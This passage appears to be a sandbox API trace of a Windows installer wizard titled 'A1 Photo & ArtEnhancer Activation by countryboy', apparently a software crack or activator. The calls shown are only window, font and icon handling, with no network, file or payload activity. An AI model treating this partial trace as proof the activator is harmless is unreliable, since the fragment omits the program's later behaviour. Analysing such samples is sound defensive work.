lpRect=0x18facc) returned 1 [0261.474] MulDiv (nNumber=-8, nNumerator=96, nDenominator=72) returned -11 [0261.474] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.474] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0261.474] GetTextExtentPointA (in: hdc=0x2a010b57, lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", c=52, lpsz=0x18fea0 | out: lpsz=0x18fea0) returned 1 [0261.474] GetTextMetricsA (in: hdc=0x2a010b57, lptm=0x18fe68 | out: lptm=0x18fe68) returned 1 [0261.474] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.474] SystemParametersInfoA (in: uiAction=0x30, uiParam=0x0, pvParam=0x18fec0, fWinIni=0x0 | out: pvParam=0x18fec0) returned 1 [0261.475] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0261.475] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromRect") returned 0x7689e7a0 [0261.475] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0261.475] MonitorFromRect (lprc=0x18fe8c, dwFlags=0x2) returned 0x10001 [0261.475] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fe50 | out: lpmi=0x18fe50) returned 1 [0261.475] IsIconic (hWnd=0xb0060) returned 0 [0261.475] SetWindowPos (hWnd=0xb0060, hWndInsertAfter=0x0, X=468, Y=236, cx=503, cy=388, uFlags=0x14) returned 1 [0261.475] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x46, wParam=0x0, lParam=0x18fdd4) returned 0x0 [0261.475] IsWindowVisible (hWnd=0xb0060) returned 0 [0261.475] IsIconic (hWnd=0xb0060) returned 0 [0261.475] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18fb88 | out: lpRect=0x18fb88) returned 1 [0261.475] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.475] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x47, wParam=0x0, lParam=0x18fdd4) returned 0x0 [0261.475] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x3, wParam=0x0, lParam=0x10501d7) returned 0x0 [0261.475] IsIconic (hWnd=0xb0060) returned 0 [0261.475] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18f7ac | out: lpRect=0x18f7ac) returned 1 [0261.476] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.476] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.476] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.476] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.476] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.476] EnumFontsA (hdc=0x2a010b57, lpLogfont="Verdana", lpProc=0x42e798, lParam=0x18fd9b) returned 1 [0261.476] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.477] MulDiv (nNumber=-12, nNumerator=96, nDenominator=72) returned -16 [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xa [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0xd, wParam=0xb, lParam=0x2c8cde0) returned 0xa [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0xc, wParam=0x0, lParam=0x2c8cd9c) returned 0x1 [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0261.477] IsIconic (hWnd=0xb0060) returned 0 [0261.477] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fec0 | out: lpRect=0x18fec0) returned 1 [0261.477] IsIconic (hWnd=0xb0060) returned 0 [0261.477] GetClientRect (in: hWnd=0xb0060, lpRect=0x18fec0 | out: lpRect=0x18fec0) returned 1 [0261.477] GetFocus () returned 0x2024a [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0261.477] DestroyWindow (hWnd=0x8024e) returned 1 [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0261.477] GetWindowThreadProcessId (in: hWnd=0x8024e, lpdwProcessId=0x18fc3c | out: lpdwProcessId=0x18fc3c) returned 0x8cc [0261.477] GetCurrentProcessId () returned 0x8d0 [0261.477] GetPropA (hWnd=0x8024e, lpString=0xc167) returned 0x2c8aa54 [0261.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0xbe10, wParam=0x24e0002, lParam=0x8024e) returned 0x0 [0261.478] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0261.478] RemovePropA (hWnd=0x8024e, lpString=0xc167) returned 0x2c8aa54 [0261.478] RemovePropA (hWnd=0x8024e, lpString=0xc168) returned 0x2c8aa54 [0261.478] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0261.478] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0261.478] DestroyWindow (hWnd=0x30338) returned 1 [0261.478] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0261.478] GetWindowThreadProcessId (in: hWnd=0x30338, lpdwProcessId=0x18fc4c | out: lpdwProcessId=0x18fc4c) returned 0x8cc [0261.478] GetCurrentProcessId () returned 0x8d0 [0261.479] GetPropA (hWnd=0x30338, lpString=0xc167) returned 0x2c84e5c [0261.479] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0xbe10, wParam=0x3380002, lParam=0x30338) returned 0x0 [0261.479] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0261.479] RemovePropA (hWnd=0x30338, lpString=0xc167) returned 0x2c84e5c [0261.479] RemovePropA (hWnd=0x30338, lpString=0xc168) returned 0x2c84e5c [0261.479] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0261.479] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0261.479] DestroyWindow (hWnd=0xa0168) returned 1 [0261.479] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0261.479] GetWindowThreadProcessId (in: hWnd=0xa0168, lpdwProcessId=0x18fc5c | out: lpdwProcessId=0x18fc5c) returned 0x8cc [0261.479] GetCurrentProcessId () returned 0x8d0 [0261.480] GetPropA (hWnd=0xa0168, lpString=0xc167) returned 0x2c87dd8 [0261.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0xbe10, wParam=0x1680002, lParam=0xa0168) returned 0x0 [0261.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0261.480] RemovePropA (hWnd=0xa0168, lpString=0xc167) returned 0x2c87dd8 [0261.480] RemovePropA (hWnd=0xa0168, lpString=0xc168) returned 0x2c87dd8 [0261.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0261.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0261.480] DestroyWindow (hWnd=0x50050) returned 1 [0261.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0261.481] GetWindowThreadProcessId (in: hWnd=0x50050, lpdwProcessId=0x18fc54 | out: lpdwProcessId=0x18fc54) returned 0x8cc [0261.481] GetCurrentProcessId () returned 0x8d0 [0261.481] GetPropA (hWnd=0x50050, lpString=0xc167) returned 0x2c83740 [0261.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0xbe10, wParam=0x500002, lParam=0x50050) returned 0x0 [0261.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0261.481] RemovePropA (hWnd=0x50050, lpString=0xc167) returned 0x2c83740 [0261.481] RemovePropA (hWnd=0x50050, lpString=0xc168) returned 0x2c83740 [0261.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0261.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x36 [0261.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0xd, wParam=0x37, lParam=0x2c8cddc) returned 0x36 [0261.481] DestroyWindow (hWnd=0xb0060) returned 1 [0261.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0261.482] SendMessageA (hWnd=0xb0060, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0261.482] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0261.482] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.482] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.483] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.486] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0261.486] RemovePropA (hWnd=0xb0060, lpString=0xc167) returned 0x2c84fd8 [0261.486] RemovePropA (hWnd=0xb0060, lpString=0xc168) returned 0x2c84fd8 [0261.486] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0261.486] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.486] GetClassInfoA (in: hInstance=0x400000, lpClassName="TWizardForm", lpWndClass=0x18fe20 | out: lpWndClass=0x18fe20) returned 1 [0261.486] CreateWindowExA (dwExStyle=0x0, lpClassName="TWizardForm", lpWindowName="A1 Photo & ArtEnhancer Activation <(:-)> by countryboy", dwStyle=0x6ca0000, X=468, Y=236, nWidth=503, nHeight=388, hWndParent=0x80042, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xc0060 [0261.487] SetWindowLongA (hWnd=0xc0060, nIndex=-4, dwNewLong=2297800) returned 4274892 [0261.487] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.487] SetPropA (hWnd=0xc0060, lpString=0xc167, hData=0x2c84fd8) returned 1 [0261.487] SetPropA (hWnd=0xc0060, lpString=0xc168, hData=0x2c84fd8) returned 1 [0261.487] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x24, wParam=0x0, lParam=0x18f958) returned 0x0 [0261.487] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x81, wParam=0x0, lParam=0x18f94c) returned 0x1 [0261.487] SetMenu (hWnd=0xc0060, hMenu=0x0) returned 1 [0261.487] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f6cc) returned 0x0 [0261.487] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x83, wParam=0x1, lParam=0x18f6a4) returned 0x0 [0261.488] IsIconic (hWnd=0xc0060) returned 0 [0261.488] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.488] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.488] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18f6cc) returned 0x0 [0261.488] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x3, wParam=0x0, lParam=0x10501d7) returned 0x0 [0261.488] IsIconic (hWnd=0xc0060) returned 0 [0261.488] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f0a4 | out: lpRect=0x18f0a4) returned 1 [0261.488] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.488] IsIconic (hWnd=0xc0060) returned 0 [0261.488] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f07c | out: lpRect=0x18f07c) returned 1 [0261.488] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.488] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x5, wParam=0x0, lParam=0x16801f1) returned 0x0 [0261.488] IsIconic (hWnd=0xc0060) returned 0 [0261.488] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f0a8 | out: lpRect=0x18f0a8) returned 1 [0261.488] IsIconic (hWnd=0xc0060) returned 0 [0261.488] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f04c | out: lpRect=0x18f04c) returned 1 [0261.489] IsIconic (hWnd=0xc0060) returned 0 [0261.489] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f044 | out: lpRect=0x18f044) returned 1 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] IsIconic (hWnd=0xc0060) returned 0 [0261.489] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f090 | out: lpRect=0x18f090) returned 1 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] IsIconic (hWnd=0xc0060) returned 0 [0261.489] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f090 | out: lpRect=0x18f090) returned 1 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] IsIconic (hWnd=0xc0060) returned 0 [0261.489] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f064 | out: lpRect=0x18f064) returned 1 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.489] IsIconic (hWnd=0xc0060) returned 0 [0261.489] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f064 | out: lpRect=0x18f064) returned 1 [0261.489] SetScrollInfo (hwnd=0xc0060, nBar=1, lpsi=0x18f098, redraw=1) returned 0 [0261.490] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.490] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.490] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.491] GetScrollPos (hWnd=0xc0060, nBar=1) returned 0 [0261.491] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.491] IsIconic (hWnd=0xc0060) returned 0 [0261.491] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f064 | out: lpRect=0x18f064) returned 1 [0261.491] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.491] IsIconic (hWnd=0xc0060) returned 0 [0261.491] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f064 | out: lpRect=0x18f064) returned 1 [0261.491] SetScrollInfo (hwnd=0xc0060, nBar=0, lpsi=0x18f098, redraw=1) returned 0 [0261.492] GetScrollPos (hWnd=0xc0060, nBar=0) returned 0 [0261.492] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x83, wParam=0x1, lParam=0x18f2b0) returned 0x0 [0261.493] GetSystemMenu (hWnd=0xc0060, bRevert=0) returned 0x70217 [0261.493] EnableMenuItem (hMenu=0x70217, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0261.493] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x83, wParam=0x0, lParam=0x18f938) returned 0x0 [0261.493] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x1, wParam=0x0, lParam=0x18f94c) returned 0x0 [0261.494] IsIconic (hWnd=0xc0060) returned 0 [0261.494] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18fd48 | out: lpRect=0x18fd48) returned 1 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] IsIconic (hWnd=0xc0060) returned 0 [0261.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe08 | out: lpRect=0x18fe08) returned 1 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] IsIconic (hWnd=0xc0060) returned 0 [0261.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe08 | out: lpRect=0x18fe08) returned 1 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] IsIconic (hWnd=0xc0060) returned 0 [0261.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fddc | out: lpRect=0x18fddc) returned 1 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.494] IsIconic (hWnd=0xc0060) returned 0 [0261.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fddc | out: lpRect=0x18fddc) returned 1 [0261.494] SetScrollInfo (hwnd=0xc0060, nBar=1, lpsi=0x18fe10, redraw=1) returned 0 [0261.495] GetScrollPos (hWnd=0xc0060, nBar=1) returned 0 [0261.495] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.496] IsIconic (hWnd=0xc0060) returned 0 [0261.496] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fddc | out: lpRect=0x18fddc) returned 1 [0261.496] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0261.496] IsIconic (hWnd=0xc0060) returned 0 [0261.496] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fddc | out: lpRect=0x18fddc) returned 1 [0261.496] SetScrollInfo (hwnd=0xc0060, nBar=0, lpsi=0x18fe10, redraw=1) returned 0 [0261.496] GetScrollPos (hWnd=0xc0060, nBar=0) returned 0 [0261.496] SendMessageA (hWnd=0xc0060, Msg=0x80, wParam=0x1, lParam=0xe023b) returned 0x0 [0261.496] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x80, wParam=0x1, lParam=0xe023b) returned 0x0 [0261.498] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xd0155 [0261.499] ChangeWindowMessageFilterEx (in: hwnd=0xc0060, message=0xc12d, action=0x1, pChangeFilterStruct=0x0 | out: pChangeFilterStruct=0x0) returned 1 [0261.499] SetPropA (hWnd=0xc0060, lpString=0xc167, hData=0x2c84fd8) returned 1 [0261.499] SetPropA (hWnd=0xc0060, lpString=0xc168, hData=0x2c84fd8) returned 1 [0261.499] IsIconic (hWnd=0xc0060) returned 0 [0261.499] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fea4 | out: lpRect=0x18fea4) returned 1 [0261.499] IsIconic (hWnd=0xc0060) returned 0 [0261.499] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe9c | out: lpRect=0x18fe9c) returned 1 [0261.499] IsIconic (hWnd=0xc0060) returned 0 [0261.499] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fea4 | out: lpRect=0x18fea4) returned 1 [0261.499] IsIconic (hWnd=0xc0060) returned 0 [0261.499] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe9c | out: lpRect=0x18fe9c) returned 1 [0261.499] MulDiv (nNumber=75, nNumerator=6, nDenominator=6) returned 75 [0261.499] GetDC (hWnd=0x0) returned 0x1f01019b [0261.499] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.500] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="< Back", c=6, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0261.500] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0261.500] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="Cancel", c=6, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0261.500] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0261.500] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="Finish", c=6, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0261.500] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0261.500] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="Install", c=7, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0261.500] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0261.500] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="Next >", c=6, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0261.500] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0261.500] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.500] MulDiv (nNumber=10, nNumerator=6, nDenominator=6) returned 10 [0261.500] IsIconic (hWnd=0xc0060) returned 0 [0261.500] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0261.500] IsIconic (hWnd=0xc0060) returned 0 [0261.500] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf8 | out: lpRect=0x18fdf8) returned 1 [0261.500] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf0 | out: lpRect=0x18fdf0) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf8 | out: lpRect=0x18fdf8) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf0 | out: lpRect=0x18fdf0) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf8 | out: lpRect=0x18fdf8) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf0 | out: lpRect=0x18fdf0) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fec0 | out: lpRect=0x18fec0) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf8 | out: lpRect=0x18fdf8) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf0 | out: lpRect=0x18fdf0) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf8 | out: lpRect=0x18fdf8) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf0 | out: lpRect=0x18fdf0) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.501] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0261.501] IsIconic (hWnd=0xc0060) returned 0 [0261.502] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf8 | out: lpRect=0x18fdf8) returned 1 [0261.502] IsIconic (hWnd=0xc0060) returned 0 [0261.502] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdf0 | out: lpRect=0x18fdf0) returned 1 [0261.502] LoadBitmapA (hInstance=0x400000, lpBitmapName="STOPIMAGE") returned 0x16050b7b [0261.502] GetObjectA (in: h=0x16050b7b, c=24, pv=0x18feb4 | out: pv=0x18feb4) returned 24 [0261.506] SHGetFileInfoA (in: pszPath="c:\\directory", dwFileAttributes=0x10, psfi=0x18fd68, cbFileInfo=0x160, uFlags=0x1010 | out: psfi=0x18fd68) returned 0x1 [0261.540] ExtractIconA (hInst=0x400000, lpszExeFileName="C:\\Windows\\system32\\imageres.dll", nIconIndex=0xfffffffd) returned 0x801a9 [0261.665] GetDC (hWnd=0x0) returned 0x1f01019b [0261.665] CreateCompatibleDC (hdc=0x1f01019b) returned 0x4301069b [0261.665] CreateCompatibleBitmap (hdc=0x1f01019b, cx=32, cy=32) returned 0x16050173 [0261.665] SelectObject (hdc=0x4301069b, h=0x16050173) returned 0x185000f [0261.665] PatBlt (hdc=0x4301069b, x=0, y=0, w=32, h=32, rop=0xff0062) returned 1 [0261.665] DeleteDC (hdc=0x4301069b) returned 1 [0261.665] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.665] CreateCompatibleDC (hdc=0x0) returned 0x4401069b [0261.665] SelectObject (hdc=0x4401069b, h=0x16050173) returned 0x185000f [0261.665] MoveToEx (in: hdc=0x4401069b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0261.665] GetSysColor (nIndex=15) returned 0xf0f0f0 [0261.665] CreateBrushIndirect (plbrush=0x18fcd8) returned 0xe100186 [0261.665] UnrealizeObject (h=0xe100186) returned 1 [0261.665] SelectObject (hdc=0x4401069b, h=0xe100186) returned 0x1900010 [0261.665] GetSysColor (nIndex=15) returned 0xf0f0f0 [0261.665] SetBkColor (hdc=0x4401069b, color=0xf0f0f0) returned 0xffffff [0261.665] SetBkMode (hdc=0x4401069b, mode=2) returned 2 [0261.666] FillRect (hDC=0x4401069b, lprc=0x18fd24, hbr=0xe100186) returned 1 [0261.666] SelectObject (hdc=0x4401069b, h=0x640a01f1) returned 0x18a002e [0261.666] GetSysColor (nIndex=8) returned 0x0 [0261.666] SetTextColor (hdc=0x4401069b, color=0x0) returned 0x0 [0261.666] SelectObject (hdc=0x4401069b, h=0x3c3001b3) returned 0x1b00017 [0261.666] SetROP2 (hdc=0x4401069b, rop2=13) returned 13 [0261.666] DrawIconEx (hdc=0x4401069b, xLeft=0, yTop=0, hIcon=0x801a9, cxWidth=32, cyWidth=32, istepIfAniCur=0x0, hbrFlickerFreeDraw=0x0, diFlags=0x3) returned 1 [0261.666] DestroyCursor (hCursor=0x801a9) returned 1 [0261.666] ExtractIconA (hInst=0x400000, lpszExeFileName="C:\\Windows\\system32\\shell32.dll", nIconIndex=0x27) returned 0x901a9 [0261.820] GetDC (hWnd=0x0) returned 0x1f01019b [0261.820] CreateCompatibleDC (hdc=0x1f01019b) returned 0x24010b8b [0261.820] CreateCompatibleBitmap (hdc=0x1f01019b, cx=32, cy=32) returned 0x58050b62 [0261.820] SelectObject (hdc=0x24010b8b, h=0x58050b62) returned 0x185000f 